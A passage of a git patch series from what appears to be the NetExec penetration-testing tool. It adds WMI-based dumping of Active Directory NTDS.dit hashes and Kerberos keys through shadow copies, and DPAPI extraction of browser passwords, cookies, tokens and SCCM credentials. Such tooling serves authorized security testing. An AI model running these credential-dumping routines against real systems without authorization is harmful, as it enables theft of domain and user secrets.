self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + return + + # Get the LSA hive + lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit" + if not self.get_file_single(lsa_hive_path, f"{output_filename}.ntds.dit"): + self.logger.fail("Could not get ntds.dit") + return + + NTDS = NTDSHashes( + f"{output_filename}.ntds.dit", + self.remote_ops.bootkey, + isRemote=False, + history=self.args.history, + noLMHash=True, + justNTLM=not self.args.kerberos_keys, + useVSSMethod=True, + remoteOps=None, + pwdLastSet=False, + resumeSession=None, + outputFileName=f"{output_filename}.ntds", + justUser=self.args.userntds if self.args.userntds else None, + printUserStatus=True, + perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret), + ) + + try: + self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") + NTDS.dump() + ntds_outfile = f"{output_filename}.ntds" + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}") + if self.args.kerberos_keys: + self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") + self.logger.display("To extract only enabled accounts from the output file, run the following command: ") + self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") + except Exception as e: + self.logger.fail(e) @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 1d154bf4d5..6bbefcbf44 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -1,3 +1,6 @@ +from argparse import _StoreTrueAction +from nxc.helpers.args import get_conditional_action + def proto_args(parser, parents): wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents) wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") @@ -13,6 +16,16 @@ def proto_args(parser, parents): cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") + ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") + cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)") + # NTDS options + kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") + exclusive = cred_gathering_group.add_mutually_exclusive_group() + enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") + kerb_keys_arg.make_required = [ntds_arg] + enabled_arg.make_required = [ntds_arg] + cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") egroup = wmi_parser.add_argument_group("Mapping/Enumeration") egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index d2ddb24156..64becebaf3 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -1,3 +1,5 @@ +from binascii import hexlify + from impacket.examples.secretsdump import LocalOperations class RemoteOperations: @@ -74,7 +76,9 @@ def get_bootkey(self, output_filename): system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: self.context.logger.debug("Got SYSTEM hive") - - local_operations = LocalOperations(f"{output_filename}.system") - self.bootkey = local_operations.getBootKey() + local_operations = LocalOperations(f"{output_filename}.system") + self.bootkey = local_operations.getBootKey() + self.context.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") + else: + self.context.logger.fail("Could not get bootkey") return self.bootkey \ No newline at end of file From 48cc6b0e30ce4ae05c6bbcccd854657a9887683e Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 12:54:15 +0200 Subject: [PATCH 239/397] added --use-snapshot-id arg --- nxc/protocols/wmi.py | 2 +- nxc/protocols/wmi/proto_args.py | 1 + nxc/protocols/wmi/remoteops.py | 2 ++ 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 31b223fef0..5530f49a68 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -737,5 +737,5 @@ def get_namespace(self, namespace:str) -> IWbemServices: @property def remote_ops(self): if self._remote_ops is None: - self._remote_ops = RemoteOperations(self) + self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id) return self._remote_ops \ No newline at end of file diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 6bbefcbf44..aaefae9754 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -14,6 +14,7 @@ def proto_args(parser, parents): cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") + cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump") cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 64becebaf3..1a7fc45a68 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -10,6 +10,8 @@ def __init__(self, context, shadow_id:str = None): # Cached variables self.bootkey = None + if shadow_id is not None: + self.context.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}") self._shadow_id = shadow_id self._shadow_copy_path = None From 34b7a35118bd9f009bc9a72a8d905395d03130e1 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 13:00:20 +0200 Subject: [PATCH 240/397] ruff --- nxc/protocols/wmi.py | 15 ++++++--------- nxc/protocols/wmi/proto_args.py | 1 + nxc/protocols/wmi/remoteops.py | 11 ++++++----- 3 files changed, 13 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 5530f49a68..a766ab1f8b 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -374,7 +374,7 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True - def read_file(self, remote_path) -> "None | bytes": + def read_file(self, remote_path) -> "bytes | None": self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\", "\\\\") @@ -537,9 +537,8 @@ def add_hash(secret_type, secret): # Filter out computer accounts, history hashes and kerberos keys for adding to db if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret: if secret.find("\\") != -1: - domain, clean_hash = secret.split("\\") + _, clean_hash = secret.split("\\") else: - domain = self.domain clean_hash = secret try: @@ -718,14 +717,12 @@ def execute_psh(self, command=None, get_output=False): else: return output - def get_namespace(self, namespace:str) -> IWbemServices: - """ - Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache - """ + def get_namespace(self, namespace: str) -> IWbemServices: + """Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache""" if namespace in self.namespaces: return self.namespaces[namespace] self.logger.debug(f"Getting namespace {namespace}") - try: + try: iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) self.iWbemLevel1Login.RemRelease() except Exception as e: @@ -738,4 +735,4 @@ def get_namespace(self, namespace:str) -> IWbemServices: def remote_ops(self): if self._remote_ops is None: self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id) - return self._remote_ops \ No newline at end of file + return self._remote_ops diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index aaefae9754..1413f814a8 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -1,6 +1,7 @@ from argparse import _StoreTrueAction from nxc.helpers.args import get_conditional_action + def proto_args(parser, parents): wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents) wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 1a7fc45a68..da182e1e0d 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -2,12 +2,13 @@ from impacket.examples.secretsdump import LocalOperations + class RemoteOperations: - def __init__(self, context, shadow_id:str = None): + def __init__(self, context, shadow_id: None): self.context = context self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") - + # Cached variables self.bootkey = None if shadow_id is not None: @@ -43,7 +44,7 @@ def create_shadowcopy(self) -> str: self.context.logger.debug(f"Cannot create ShadowCopy: {e}") return shadow_id - def get_shadowcopy_path(self, shadow_id: str = None) -> str: + def get_shadowcopy_path(self, shadow_id: None) -> str: if shadow_id is None: shadow_id = self.shadow_id device_object = None @@ -52,7 +53,7 @@ def get_shadowcopy_path(self, shadow_id: str = None) -> str: obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} - device_object = shadow_copy['DeviceObject'] + device_object = shadow_copy["DeviceObject"] self.context.logger.debug(f"Found ShadowCopy at {device_object}") except Exception as e: self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") @@ -83,4 +84,4 @@ def get_bootkey(self, output_filename): self.context.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") else: self.context.logger.fail("Could not get bootkey") - return self.bootkey \ No newline at end of file + return self.bootkey From 78d607b84bfbc0a772f557421b3b5eaf7018ace7 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 16:35:55 +0200 Subject: [PATCH 241/397] fix issue with default shadow_id value --- nxc/protocols/wmi/remoteops.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index da182e1e0d..01827a3d3c 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -4,7 +4,7 @@ class RemoteOperations: - def __init__(self, context, shadow_id: None): + def __init__(self, context, shadow_id=None): self.context = context self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") @@ -44,7 +44,7 @@ def create_shadowcopy(self) -> str: self.context.logger.debug(f"Cannot create ShadowCopy: {e}") return shadow_id - def get_shadowcopy_path(self, shadow_id: None) -> str: + def get_shadowcopy_path(self, shadow_id=None) -> str: if shadow_id is None: shadow_id = self.shadow_id device_object = None From 0d2af8bdd5fa0bd8a04157ea8ab45b1c4375d1ce Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 28 Aug 2026 11:28:45 +0200 Subject: [PATCH 242/397] added display message when dump LSA --- nxc/helpers/dpapi.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index b2f791b694..f9209ef2a5 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -166,6 +166,7 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): and callable(self.context.lsa)): # We can use the protocol specific LSA dump if not already dumped. # But first, just making sure the protocol supports LSA dump :) + self.context.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys") self.context.lsa(quiet=True) # Invoke MasterkeyTriage class From b114c644c50f8785bdee2942c8ffcc4a3589537e Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 28 Aug 2026 11:36:03 +0200 Subject: [PATCH 243/397] showing machine keys if collected --- nxc/helpers/dpapi.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index f9209ef2a5..441c87d2c6 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -168,6 +168,11 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): # But first, just making sure the protocol supports LSA dump :) self.context.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys") self.context.lsa(quiet=True) + if self.context.dpapi_system_key is not None: + self.context.logger.highlight(f"dpapi_machinekey:{self.context.dpapi_system_key['MachineKey'].hex()}") + self.context.logger.highlight(f"dpapi_userkey:{self.context.dpapi_system_key['UserKey'].hex()}") + else: + self.context.logger.fail("Could not get DPAPI SYSTEM keys") # Invoke MasterkeyTriage class try: From a9b8cf8e0a9611220f865097558f76dff014d211 Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 31 Aug 2026 10:40:21 +0200 Subject: [PATCH 244/397] add highlight in log_secret and set output_file in init --- nxc/helpers/dpapi.py | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 441c87d2c6..fbeb19da97 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -90,7 +90,7 @@ def __init__(self, context, target: Target): self._pvkbytes = None # Keep track of writing secrets in file - self.output_file = None + self.output_file = self.context.output_file_template.format(output_folder="dpapi") self.secrets_counter = 0 if context.args.dpapi is not None: @@ -109,11 +109,8 @@ def __del__(self): self.context.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") def log_secret(self, line): - # If self.output_file is not already initialized, it means it is the first time we need to write secrets in it - if self.output_file is None: - self.output_file = self.context.output_file_template.format(output_folder="dpapi") - # Handle the secret counter here, avoid to handle it in multiple places + self.context.logger.highlight(line) with open(self.output_file, "a", encoding="utf-8") as fd: self.secrets_counter += 1 fd.write(line + "\n") @@ -213,7 +210,6 @@ def triage_credentials(self, masterkeys: list[Masterkey]): def credential_callback(credential): tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, @@ -249,7 +245,6 @@ def browser_callback(secret): if isinstance(secret, LoginData): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, @@ -261,7 +256,6 @@ def browser_callback(secret): ) elif isinstance(secret, GoogleRefreshToken): line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, @@ -273,7 +267,6 @@ def browser_callback(secret): ) elif isinstance(secret, Cookie): line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" - self.context.logger.highlight(line) self.log_secret(line) try: @@ -288,7 +281,6 @@ def vault_callback(secret): if secret.type == "Internet Explorer": resource = secret.resource + " -" if secret.resource != "" else "-" line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, @@ -312,7 +304,6 @@ def firefox_callback(secret): if isinstance(secret, FirefoxData): url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, @@ -324,7 +315,6 @@ def firefox_callback(secret): ) elif isinstance(secret, FirefoxCookie): line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" - self.context.logger.highlight(line) self.log_secret(line) try: @@ -363,7 +353,6 @@ def sccm_callback(secret): if isinstance(secret, SCCMCred): tag = "NAA Account" line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, @@ -376,7 +365,6 @@ def sccm_callback(secret): elif isinstance(secret, SCCMSecret): tag = "Task sequences secret" line = f"[{tag}] {secret.secret.decode('latin-1')}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, @@ -389,7 +377,6 @@ def sccm_callback(secret): elif isinstance(secret, SCCMCollection): tag = "Collection Variable" line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}" - self.context.logger.highlight(line) self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, From 42fe6b4840b28c8fd1573341fbf4107387d503cd Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 31 Aug 2026 10:51:40 +0200 Subject: [PATCH 245/397] remove print --- nxc/helpers/dpapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index fbeb19da97..17b9a6cf17 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -51,7 +51,7 @@ def upgrade_to_dploot_connection(target, context=None): if context is not None: conn.conn = context.conn except Exception as e: - print(e) + self.context.logger.debug(e) return None return conn From 6ee4802743a5fd302c33ae7e1e4c13a70f9bf0fb Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 31 Aug 2026 11:09:07 +0200 Subject: [PATCH 246/397] fix dploot_connection upgrade debug log message --- nxc/helpers/dpapi.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 17b9a6cf17..34a2db2fcb 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -13,7 +13,7 @@ from nxc.helpers.logger import highlight -def upgrade_to_dploot_connection(target, context=None): +def upgrade_to_dploot_connection(target, context): """ DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part. This function gets the calling NXC protocol and tries reuse the already opened connection @@ -51,7 +51,7 @@ def upgrade_to_dploot_connection(target, context=None): if context is not None: conn.conn = context.conn except Exception as e: - self.context.logger.debug(e) + context.logger.debug(e) return None return conn From 961f4e5028a131d33254ee78505855dc965719dd Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 31 Aug 2026 11:52:05 +0200 Subject: [PATCH 247/397] enhance use of credentials in db --- nxc/helpers/dpapi.py | 5 +++-- nxc/protocols/mssql/database.py | 14 ++++++++++++++ nxc/protocols/smb/database.py | 16 +++++++++++++++- nxc/protocols/winrm/database.py | 14 ++++++++++++++ nxc/protocols/wmi/database.py | 14 ++++++++++++++ 5 files changed, 60 insertions(+), 3 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 34a2db2fcb..e1a4e997fa 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -148,8 +148,9 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): # Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys if dump_users: - plaintexts = {username: password for _, _, username, password, _, _ in self.context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.context.db.get_credentials(cred_type="hash")} + users = self.conn.list_users() + plaintexts = {username: password for _, _, username, password, _, _ in self.context.db.get_credentials_for_users(usernames=users, cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.context.db.get_credentials_for_users(usernames=users, cred_type="hash")} # dploot matches user.lower() if self.context.password != "": plaintexts[self.context.username.lower()] = self.context.password diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 795302a878..2e5694dd50 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -310,6 +310,20 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() + def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + ) + + return self.db_execute(q).all() + def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index 4e59c6b585..7cb11d2c54 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -3,7 +3,7 @@ import warnings from datetime import datetime -from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete +from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_ from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import ( SAWarning @@ -428,6 +428,20 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() + def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + ) + + return self.db_execute(q).all() + def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index 87c992fe78..87e5c8724f 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -306,6 +306,20 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() + def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + ) + + return self.db_execute(q).all() + def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index 312cade4f4..2a9e720248 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -205,6 +205,20 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() + def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + ) + + return self.db_execute(q).all() + def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, From 4bf5abdcdc90c984133363fd17dec982ffd9b73d Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 31 Aug 2026 12:39:54 +0200 Subject: [PATCH 248/397] ruff --- nxc/protocols/mssql/database.py | 8 ++++---- nxc/protocols/smb/database.py | 6 +++--- nxc/protocols/winrm/database.py | 8 ++++---- nxc/protocols/wmi/database.py | 8 ++++---- 4 files changed, 15 insertions(+), 15 deletions(-) diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 2e5694dd50..a6c0e64789 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -1,7 +1,7 @@ import warnings import base64 -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_ from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning from sqlalchemy.orm import declarative_base @@ -310,16 +310,16 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() - def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): """Return credentials for a list of users from the database.""" if cred_type: q = select(self.UsersTable).filter( self.UsersTable.c.credtype == cred_type, - and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) ) else: q = select(self.UsersTable).filter( - or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) ) return self.db_execute(q).all() diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index 7cb11d2c54..665aa2565f 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -428,16 +428,16 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() - def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): """Return credentials for a list of users from the database.""" if cred_type: q = select(self.UsersTable).filter( self.UsersTable.c.credtype == cred_type, - and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) ) else: q = select(self.UsersTable).filter( - or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) ) return self.db_execute(q).all() diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index 87e5c8724f..90f3cfef4f 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -1,6 +1,6 @@ import base64 -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete, and_, or_ from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base @@ -306,16 +306,16 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() - def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): """Return credentials for a list of users from the database.""" if cred_type: q = select(self.UsersTable).filter( self.UsersTable.c.credtype == cred_type, - and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) ) else: q = select(self.UsersTable).filter( - or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) ) return self.db_execute(q).all() diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index 2a9e720248..ef54caba10 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -1,6 +1,6 @@ import base64 -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_ from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB @@ -205,16 +205,16 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() - def get_credentials_for_users(self, usernames:List[str], cred_type:str=None): + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): """Return credentials for a list of users from the database.""" if cred_type: q = select(self.UsersTable).filter( self.UsersTable.c.credtype == cred_type, - and_(or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames])) + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) ) else: q = select(self.UsersTable).filter( - or_(*[self.UsersTable.c.username.like(f'%{name.lower()}%') for name in usernames]) + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) ) return self.db_execute(q).all() From 9817aadfbb7f173fa44790e42bb3511f7164015f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Mon, 31 Aug 2026 16:57:28 +0200 Subject: [PATCH 249/397] Add --exclude-hosts and --skip-self overwriting nxc.conf file --- nxc/cli.py | 2 ++ nxc/netexec.py | 15 +++++++++++---- 2 files changed, 13 insertions(+), 4 